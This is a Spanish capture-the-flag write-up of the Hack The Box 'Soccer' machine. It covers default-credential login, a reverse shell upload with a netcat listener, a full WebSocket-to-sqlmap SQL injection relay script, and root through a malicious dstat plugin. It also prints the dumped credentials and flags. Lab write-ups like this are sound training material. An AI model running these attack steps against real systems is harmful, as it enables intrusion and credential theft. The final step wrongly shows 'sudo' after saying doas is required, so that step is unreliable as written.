Máquinas/CTF

Máquina resuelta


1. Comprobación del sistema operativo

python whichSystem.py 10.10.11.194

Tiene como salida:

10.10.11.194 (ttl -> 63): Linux

 

2. Comprobamos servicios y lanzamos scripts principales contra los principales puertos:

nmap -sCV 10.10.11.194 

Obteniendo los siguientes resultados:

Open Ports | Service Running
-----------|-----------------
22         | ssh
80         | http
9091       | xmltec-xmlmail

Debemos añadir entonces soccer.htb al archivo /etc/hosts.

 

3. Recorremos la página web

Luego de analizar y recorrer la página web, no encontramos nada que nos llame la atención, por lo que lanzamos entonces un ataque de fuzzing mediante la herramienta gobuster:

gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Esto nos dice que existe el recurso /tiny. Si la abrimos vemos un login de un usuario que utiliza el servicio Tiny para autenticarse. Buscando por internet podemos encontrar que este servicio utiliza credenciales por defecto, los cuales son los siguientes:

admin:admin@123
user:12345

 

4. Autenticación y explotación de recursos

Observamos como con los credenciales admin:admin@123 somos capaces de acceder a la página web. Una vez dentro vemos que se trata de una especie de filemanager en el que se pueden subir archivos. Subimos directamente un script que nos permite establcer una revershell con nuestra máquina host, en concreto utilizamos la más que conocida de pentest_monkey.

Si en nuestra máquina host nos ponemos a la escucha a traǘés de nc -lvp 1234, observamos como somos capaces de establecer una conexíón, a través del usuario www-data.

Conseguimos establecer conexion

 

5. Búsqueda de recursos

Si revisamos el fichero sites-avaliable del servicio Nginx (/etc/nginx/sites-available), podemos comprobar que existe un nuevo sitio web en la dirección https://soc-player.soccer.htb/. Por lo que añadimos en el archivo /etc/hosts la siguiente línea:

10.10.11.194 soc-player.soccer.htb

Observamos una página web en la que nos podemos registrar y entrar como dicho usuario, por lo que procedemos al registro y al acceso. Una vez autenticados si nos dirigimos al recurso https://soc-player.soccer.htb/check y observamos el código fuente, podemos ver que se hace una conexión mediante websocket a una base de datos:

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
    console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
    keyOne(e)
});

function keyOne(e) {
    e.stopPropagation();
    if (e.keyCode === 13) {
        e.preventDefault();
        sendText();
    }
}

function sendText() {
    var msg = input.value;
    if (msg.length > 0) {
        ws.send(JSON.stringify({
            "id": msg
        }))
    }
    else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

 

6. Explotación Websocket

Si buscamos en internet algun tipo de exploit o vulnerabilidad contra WebSockets, podemos encontrar una forma de automatizar ataques Sqli contra websocket, en el siguiente repositorio podemos encontrar toda la información https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html. A groso modo, deberemos de crear un script en nuestra máquina host, en nuestro caso llamado websocket-sqli.py, en el que crearemos un MiddelWare Server intermedio, para enviarle peticiones al websocket que sirve la aplicación:k

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/ws"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

En otra terminal deberemos lanzar la herramienta sqlmap para que vaya lanzando ataques sqli contra el servidor intermedio creado:

sqlmap -u "http://localhost:8081/?id=1" -p "id"

Podemos ver entonces, como después de varias peticiones enviando distintos payloads automáticos, somos capaces de obtener los siguientes credenciales:

1324 | player@player.htb | player   | PlayerOftheMatch2022

Probamos entonces a conectarnos mediante el servicio ssh, y somos capaces de iniciar sesión con el usuario player.

ssh player@10.10.11.194

 

7. Flag de usuario

Somos capaces de obtener la flag de usuario -> 526fd6d38c6905553d9822476a567a82

 

8. Escalada de privilegios

Para ello podemos emplear tanto el script linpeas o realizar la búsquyeda a mano. Buscando binarios con SUID abiertos:

find / -uid 0 -perm -4000 -type f 2>/dev/null

Nos llama la atención el siguiente archivo /usr/local/bin/doas. Por lo que podemos comprobar como es el fichero de configuración de doas. Normalmente este se encuentra en la ruta /etc/doas.conf. Pero en este caso no está en esta ruta por lo que lo buscamos con el sigueinte comando:

find / -type f -name doas.conf 2>/dev/null

Observando que este se encuentra en la ruta:

/usr/local/etc/doas.conf

 

8. Explotación

Si observamos dicho archivo observamos lo siguiente:

permit nopass player as root cmd /usr/bin/dstat

Es decir, por lo que podemos ejecutar el comando dstat como el usuario root. Observando un poco dicho comando vemos que se trata de una herramienta para monitorizar el uso de un servidor, y somos capaces de ver lo siguiente:

Paths that may contain external dstat_*.py plugins:

       ~/.dstat/
       (path of binary)/plugins/
       /usr/share/dstat/
       /usr/local/share/dstat/

Es decir, podemos ejecutar plugins externos, por lo que podemos añadir un nuevo plugin que ejecute una revershell como el usuario root, por ejemplo en el directorio /usr/local/share/dstat/, ejecutando para el ello el siguiente comando:

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
sudo dstat --xxx

Pero vemos que esto no nos es posible, porque no es con sudo, sino con el servicio doas, por lo que si ejecutamos:

sudo dstat --xxx

Observamos como somos capaces de obtener un shell como el usuario root.

 

9. Flag de root

Somos entonces capaces de obtener el flag del usuario root -> 182bc6b999dd8751f4554cf7fbba49a1